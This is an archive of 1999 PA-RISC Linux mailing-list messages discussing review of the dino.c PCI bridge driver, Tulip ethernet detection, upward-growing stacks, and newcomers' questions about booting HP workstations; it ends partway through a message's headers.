Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 05:31:25 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id WAA10593
	for <parisc-linux@thepuffingroup.com>; Sun, 3 Oct 1999 22:31:23 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA15020; Sun, 3 Oct 1999 22:30:34 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 03 Oct 1999 19:29:19 PDT."
             <37F7E6CF.F781614F@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10002


Alex,
First cut review notes on the v1.17 dino.c:

o card-mode is only supported by dino 3.x.
  Only need to look for card-mode which is 3.0 or better.
  Look for DINO_MEM_DATA in the Dino ERS.
  I know for a fact none were shipped and no HP-UX drivers
  were shipped to support it either.

o "struct hp_driver" is not named very well. Needed more beer? :^)
  I'd like to suggest "struct pa_iodc_driver" or something like that.

o I'm not sure any systems were shipped with 2.0 built-in dino.
  Anybody know? What about 2.1's?
  I don't expect numbers to be posted here - just the existence.

o I see my long-ass comment about broken dino versions has been removed.
  Was it intentionally removed?
  (It's ok...I wrote it because I thought it was either useful or
  interesting depending on why anyone bothers reading the code).

o "struct dino_version_mapping" doesn't appear to be used.
  Can this go?

o FYI: "ifdef USE_PCI_INTR_OPS" stuff is mine.
  I want to save it for some experiments on interrupt path latency.
  May be able to run those by the end of this month at this pace.

o I'd like to move the card-mode initialization into a seperate
  routine. Makes the common initialization easier to read.
  I can already see some stuff is missing too.

o Before generic PCI  bus walk occurs card-mode dino support must
  program PCI_INTERRUPT_LINE of each PCI device below it.
  Firmware does this for PCI devices below built-in Dino.
  For now, this can be a simple none-recursive bus walk since
  very few people will have the card-mode expansion chassis (which
  uses PCI-PCI bridges).
  
  I'll take care of it this week but just wanted it noted in case
  anyone wonders why card-mode interrupts don't work now.

o is_buildtin_dino(). Typo and it's not needed right now.

o 0x05d. Need the workaround to eventually support J2240 firmware bug.
  This was included in the macros I had posted previously.
  Can just add another HPHW_BRIDGE entry instead.


That's enough for now....time to get some sleep.

later,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ethernet driver...
Date: Mon, 04 Oct 1999 02:24:08 -0400
Organization: The Puffin Group
Lines: 39
Approved: news@gmane.org
Message-ID: <37F84808.D8E48C4C@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619787 14213 80.91.229.3 (22 Nov 2014 01:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Mon Oct  4 00:04:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA22072
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Oct 1999 00:04:42 -0600
Original-Received: (qmail 14563 invoked by uid 15267); 4 Oct 1999 06:05:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14556 invoked from network); 4 Oct 1999 06:05:11 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 06:05:11 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA25046
	for <parisc-linux@thepuffingroup.com>; Mon, 4 Oct 1999 02:24:08 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10003


I've cleaned up dino.c sufficiently that tulips are detected, although
somewhat broken still:

  The PCI BIOS has not enabled this device!  Updating PCI command
1011->1015.   
tulip.c:v0.89H 5/23/98
becker@cesdis.gsfc.nasa.gov                              
eth0: Digital DS21140 Tulip at 0x82223800, EEPROM not present, 00 4c 69
6e 75 7.
eth0: Old style EEPROM -- no media selection
information.                       
  PCI latency timer (CFLT) is unreasonably low at 0.  Setting to 64
clocks.     
  The PCI BIOS has not enabled this device!  Updating PCI command
1011->1015.   
eth1: Digital DS21142/3 Tulip at 0xff00, EEPROM not present, 00 4c 69 6e
75 7a,.
eth1: Old style EEPROM -- no media selection
information.                       
  PCI latency timer (CFLT) is unreasonably low at 0.  Setting to 64
clocks.     

Two things to note here:
- I'm not running pcibios_fixup (or whatever) yet, haven't figured out
what this is supposed to do
- in tulip.c, there's really only one addition having to do with EEPROM
detection, and I think I've messed that up.  The MACs shown are
incorrect.

We're getting to the point where most PCI devices will start to be
detected.

- Alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: upwards growing stacks ??
Date: Mon, 4 Oct 1999 09:52:20 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <19991004095220.F526@mencheca.ch.genedata.com>
References: <199910040312.WAA05748@shadygrove.linas.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619787 14215 80.91.229.3 (22 Nov 2014 01:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:47 +0000 (UTC)
Cc: linux-kernel@vger.rutgers.edu, LINUX-VM@VM.MARIST.EDU,
        parisc-linux@thepuffingroup.com
To: Linas Vepstas <linas@linas.org>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Oct  4 01:52:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA22596
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Oct 1999 01:52:13 -0600
Original-Received: (qmail 31645 invoked by uid 15267); 4 Oct 1999 07:52:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31630 invoked from network); 4 Oct 1999 07:52:42 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 07:52:42 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id JAA26353;
	Mon, 4 Oct 1999 09:52:21 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id JAA1026933;
	Mon, 4 Oct 1999 09:52:20 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11Y2uy-00025bC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for LINUX-VM@VM.MARIST.EDU; Mon, 4 Oct 1999 09:52:20 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199910040312.WAA05748@shadygrove.linas.org>; from Linas Vepstas on Sun, Oct 03, 1999 at 10:12:17PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:10004

On Sun, Oct 03, 1999 at 10:12:17PM -0500, Linas Vepstas wrote:
> I've been porting the kernel to the ESA/390 architecture (mainframe)
> and have had the occasion to rethink the subroutine linkage.  In particular,
> I have some weak reasons to want the stack to grow up, not down.  However,
> the unix tradition & linux in particular usually have the stack grow down.
> So the questions:
> 
> -- is it a bad idea to make the stack grow up? 
> -- has anyone done this before w/ linux? (doesn't seem like it ...)

Some people are doing this right now with Linux/PARISC.  The only thing
which affected me was in fs/binfmt_*.c where we tamper with the argc
/ envp.  Alan tells me the mklinux people have sorted this one properly,
but I haven't looked yet.  There are probably other places where there are
problems.  Philipp?

> -- should I do this, or should I stick to the traditional design?

It's something which we need to fix for PARISC, so I think you should
do it too :-)

> -- I'm making the following mods, will these be sufficient?
>    Are they appropriate?
>    o  the expand_stack() inline in include/linux/mm.h assumes the
>       stack grows down, & I will rework it to suit my needs ...
>    o  change VM_STACK_FLAGS to grow up as well ...
>    o  create a new vma that holds the stack base, out in high-memory,
>       somewhere near TASK_SIZE - current->rlim[RLIMIT_STACK].rlim_cur


-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ethernet driver...
Date: Mon, 4 Oct 1999 12:37:10 +0100 (BST)
Lines: 25
Approved: news@gmane.org
Message-ID: <E11Y6Qa-0007PN-00@the-village.bc.nu>
References: <37F84808.D8E48C4C@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619788 14218 80.91.229.3 (22 Nov 2014 01:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Oct  4 05:38:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA23583
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Oct 1999 05:38:58 -0600
Original-Received: (qmail 613 invoked by uid 15267); 4 Oct 1999 11:39:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 603 invoked from network); 4 Oct 1999 11:39:27 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 11:39:27 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11Y6Qa-0007PN-00; Mon, 4 Oct 1999 12:37:12 +0100
In-Reply-To: <37F84808.D8E48C4C@thepuffingroup.com> from "Alex deVries" at Oct 4, 99 02:24:08 am
Xref: news.gmane.org gmane.linux.ports.parisc:10005

> I've cleaned up dino.c sufficiently that tulips are detected, although
> somewhat broken still:
> 
>   The PCI BIOS has not enabled this device!  Updating PCI command
> 1011->1015.   

That is reaosnably expected. The various control bits arent enabled by the
PA firmware

>   PCI latency timer (CFLT) is unreasonably low at 0.  Setting to 64
> clocks.     

And this is also a register where the PCI BIOS would have done the work
on a PC. That looks fine.


> - in tulip.c, there's really only one addition having to do with EEPROM
> detection, and I think I've messed that up.  The MACs shown are
> incorrect.
> 
> We're getting to the point where most PCI devices will start to be
> detected.

Wheee


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino developments...
Date: Mon, 04 Oct 1999 12:05:44 -0400
Organization: The Puffin Group
Lines: 50
Approved: news@gmane.org
Message-ID: <37F8D058.3B46449E@thepuffingroup.com>
References: <199910040445.VAA15000@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619788 14220 80.91.229.3 (22 Nov 2014 01:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Mon Oct  4 09:52:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA24385
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Oct 1999 09:52:38 -0600
Original-Received: (qmail 5585 invoked by uid 15267); 4 Oct 1999 15:53:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5578 invoked from network); 4 Oct 1999 15:53:05 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 15:53:05 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id MAA25307;
	Mon, 4 Oct 1999 12:05:46 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10006

Grant Grundler wrote:
> Alex deVries wrote:
> > I've fixed up a couple of things in the kernel:
> > - PCI bus walking happens in the *right place*, pci_init().
> 
> Ok. Were you able to salvage what I had submitted then?
> I was under the impression pci_init() wouldn't work. Registration of
> the pci_bus_ops for each Dino looked like a problem.

Yeah, I definitely re-used a lot of existing work. I got pci_init() to
work properly.

> Oh. I think I got it.  Each dino registers pci_bus_ops when it's
> "discovered" and pci_init() is called later...is that right?

Yeah, although if I understand the kernel code properly, the first PCI
bus scan is done from within pci_init().  All the others are called when
the others are detected.  Right now the dino_init() call is in the wrong
place.

> I'll start reviewing card-mode Dino initialization and see what we can
> do for MMIO. I have to understand more about what the "right" thing for
> linux is WRT I/O address management. This has to take place sometime
> between when card-mode Dino is "discovered" and when PCI bus walk completes.
> (So we know how much space is needed.)

Can we gather a memory IO map based on what we find in the inventory
code with the mem_map() PDC calls?

> What about interrupts?
> Is alloc_irq() handing virtual IRQ's back to the PCI drivers for the
> respective dino irq_region?
> I'm curios if/how it is supposed to work and might take a peek at this
> as well. Once this works, the box should be able to send mail - that's
> a key milestone for HP folks..

I really havent' looked at interrupts at all yet in PCI, so please, have
a look at it.

About sending mail: that'd require actually running a userland program
(unless you want to embed something like elm or emacs into the kernel),
and I'm not sure how close we are to that.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dino developments...
Date: Mon, 04 Oct 1999 15:57:21 -0400
Organization: The Puffin Group
Lines: 79
Approved: news@gmane.org
Message-ID: <37F906A1.6D6CB753@thepuffingroup.com>
References: <199910040530.WAA15020@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619788 14227 80.91.229.3 (22 Nov 2014 01:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Mon Oct  4 13:43:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA25190
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Oct 1999 13:43:09 -0600
Original-Received: (qmail 31700 invoked by uid 15267); 4 Oct 1999 19:43:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31690 invoked from network); 4 Oct 1999 19:43:39 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 4 Oct 1999 19:43:39 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA25398;
	Mon, 4 Oct 1999 15:57:21 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10007

Grant Grundler wrote:
> First cut review notes on the v1.17 dino.c:
> 
> o card-mode is only supported by dino 3.x.
>   Only need to look for card-mode which is 3.0 or better.
>   Look for DINO_MEM_DATA in the Dino ERS.
>   I know for a fact none were shipped and no HP-UX drivers
>   were shipped to support it either.

Ah, okay.  This is info that's not in the docs. 

> o "struct hp_driver" is not named very well. Needed more beer? :^)
>   I'd like to suggest "struct pa_iodc_driver" or something like that.

I agree.

> o I'm not sure any systems were shipped with 2.0 built-in dino.
>   Anybody know? What about 2.1's?
>   I don't expect numbers to be posted here - just the existence.

I'd say just leave those config lines in for now.

> o I see my long-ass comment about broken dino versions has been removed.
>   Was it intentionally removed?
>   (It's ok...I wrote it because I thought it was either useful or
>   interesting depending on why anyone bothers reading the code).

That's now been moved to README.dino

> 
> o "struct dino_version_mapping" doesn't appear to be used.
>   Can this go?

Yes!

> o FYI: "ifdef USE_PCI_INTR_OPS" stuff is mine.
>   I want to save it for some experiments on interrupt path latency.
>   May be able to run those by the end of this month at this pace.

Sounds good.

> o I'd like to move the card-mode initialization into a seperate
>   routine. Makes the common initialization easier to read.
>   I can already see some stuff is missing too.

That's a good plan.  I simply stole the config stuff out of the Dino
docs' example, and it worked, I never actually figured out what it
should be. I'm still stunned that it worked.

> o Before generic PCI  bus walk occurs card-mode dino support must
>   program PCI_INTERRUPT_LINE of each PCI device below it.
>   Firmware does this for PCI devices below built-in Dino.
>   For now, this can be a simple none-recursive bus walk since
>   very few people will have the card-mode expansion chassis (which
>   uses PCI-PCI bridges).
>   I'll take care of it this week but just wanted it noted in case
>   anyone wonders why card-mode interrupts don't work now.

Sounds good.

> o is_buildtin_dino(). Typo and it's not needed right now.

That should probably be removed then.

> o 0x05d. Need the workaround to eventually support J2240 firmware bug.
>   This was included in the macros I had posted previously.
>   Can just add another HPHW_BRIDGE entry instead.

That's a good idea.

Grant, I'll leave it to you to commit these changes.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Gallagher <Tom.Gallagher@madge.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Newbie
Date: Tue, 5 Oct 1999 07:56:44 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <4110BC526A58D211B56C0000F6B9636D01B0DABA@ws-exch01.dev.madge.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619789 14231 80.91.229.3 (22 Nov 2014 01:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:49 +0000 (UTC)
To: "'PALinux'" <parisc-linux@thepuffingroup.com>
Original-X-From: Tom.Gallagher@madge.com  Tue Oct  5 01:07:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA26720
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Oct 1999 01:07:26 -0600
Original-Received: (qmail 22386 invoked by uid 15267); 5 Oct 1999 07:07:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22378 invoked from network); 5 Oct 1999 07:07:57 -0000
Original-Received: from mail.madge.com (194.129.141.16)
  by mailserv2.iuinc.com with SMTP; 5 Oct 1999 07:07:57 -0000
Original-Received: from ws-exch03.madge.com (ws-exch03.dev.madge.com) by mail.madge.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0001295166@mail.madge.com> for <parisc-linux@thepuffingroup.com>;
 Tue, 05 Oct 1999 08:03:24 +0100
Original-Received: by ws-exch03.dev.madge.com with Internet Mail Service (5.5.2650.10)
	id <T5ANYLZ7>; Tue, 5 Oct 1999 07:51:22 +0100
X-Mailer: Internet Mail Service (5.5.2650.10)
Xref: news.gmane.org gmane.linux.ports.parisc:10008

I am interested in this project and I could help by testing things on my
machine.

FYI:-

I have just acquired a 712/80 HP machine.
It is running HPUX 9.07 at the moment.
The initial boot ROM screen says ROM v1.5 and 32MB RAM.

I managed to netboot Image-19990930 but it failed with the
message "In swapper task - not syncing".  This occurred quite a way into the
kernel.  (I did not save output from the kernel as I do not have a serial
console setup yet).

The kernel appeared to only detect 16MB of RAM.

I downloaded the Intel egcs cross compiler and binutils RPMs and installed
them, but have only had limited success compiling so far.

I downloaded the latest (at the time) kernel tarball (about 30 september).

I got a linker message about $global$ undefined which I traced back to
arch/parisc/kernel/pdc.c.  (Cross compiling from Intel Linux).

Some Questions:-

I managed to build an ELF kernel on my Intel machine.  I built the ipl
program under HPUX v9.07 and obviously I came across the message about ELF
kernels not supported that the ipl program prints out when I tried to boot
it.

I notice in the source code that it says ELF loading is not supported yet
but it doesn't matter because the cross compiler utilities that produce ELF
executables don't work yet.  Is this (still) true?  
In all the docs on the puffin web site HPUX 10 and 11 are referred to but
nothing as old as 9!
Is it possible to build a bootable kernel on either Intel Linux or HPUX
v9.07?

Does the kernel work with a serial console if I was to set it in the BOOT
ROM to use the console on a serial port.

Thanks for your patience with what are conceivably obvious questions.

>From Tom
 


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lars Segerlund <lars.segerlund@axis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status Query .
Date: Tue, 05 Oct 1999 09:31:51 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <199910050731.JAA12199@seger.axis.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619789 14233 80.91.229.3 (22 Nov 2014 01:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: seger@axis.com  Tue Oct  5 01:31:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA26973
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Oct 1999 01:31:36 -0600
Original-Received: (qmail 27542 invoked by uid 15267); 5 Oct 1999 07:32:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27521 invoked from network); 5 Oct 1999 07:32:06 -0000
Original-Received: from roma.axis.se (193.13.178.2)
  by mailserv2.iuinc.com with SMTP; 5 Oct 1999 07:32:06 -0000
Original-Received: from seger.axis.se (seger.axis.se [192.168.2.150])
	by roma.axis.se (8.9.3/8.9.3) with ESMTP id JAA23655
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Oct 1999 09:31:51 +0200 (MEST)
Original-Received: from axis.com (localhost [127.0.0.1])
	by seger.axis.se (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA12199
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Oct 1999 09:31:51 +0200
X-Mailer: exmh version 2.0.2 2/24/98 (debian) 
Xref: news.gmane.org gmane.linux.ports.parisc:10009


 I have a 725/50 ( or something like that ) and I am really interested in doing
 some work on the hppa, perhaps not the kernel, but some driver would be ok.

 However I do not have HP-UX, so I want to setup the HP, as a linux workstation
 as a firts step, it seems that there is a booting kernel, but I haven't seen
 anyone boot a shell och mount a filesystem, am I of the correct oppinion to
 assume that the kernel have not yet reached this point ??

 / best regards, lars segerlund.



From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Systems 99
Date: Tue, 5 Oct 1999 11:38:53 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <19991005113853.A25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619789 14239 80.91.229.3 (22 Nov 2014 01:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Tue Oct  5 03:38:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA27395
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Oct 1999 03:38:26 -0600
Original-Received: (qmail 16681 invoked by uid 15267); 5 Oct 1999 09:38:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16668 invoked from network); 5 Oct 1999 09:38:57 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 5 Oct 1999 09:38:57 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id LAA30959
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Oct 1999 11:38:54 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id LAA1093090
	for <parisc-linux@thepuffingroup.com>; Tue, 5 Oct 1999 11:38:54 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11YR3d-000263C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Tue, 5 Oct 1999 11:38:53 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:10010


I've been requested to attend Systems 99 in Munich by HP Germany.
Unfortunately, due to leaving GeneData soon to work for The Puffin Group,
I don't have any holiday left to do this.  Would anyone be able to get
to Systems 99, even for just some of the days?

It's October 18th to 22nd (Monday to Friday), and if it's even half as
much fun as LinuxTag was, it's definitely worth doing.  Please email me
if you're interested.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Juergen Bergmann <hbergman@acm.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status Query .
Date: Tue, 05 Oct 1999 11:49:02 +0200
Organization: BGS Systemplanung AG
Lines: 35
Approved: news@gmane.org
Message-ID: <37F9C98E.6EE6975@acm.org>
References: <199910050731.JAA12199@seger.axis.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619790 14242 80.91.229.3 (22 Nov 2014 01:29:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Lars Segerlund <lars.segerlund@axis.com>
Original-X-From: hbergman@acm.org  Tue Oct  5 03:46:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA27596
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Oct 1999 03:46:16 -0600
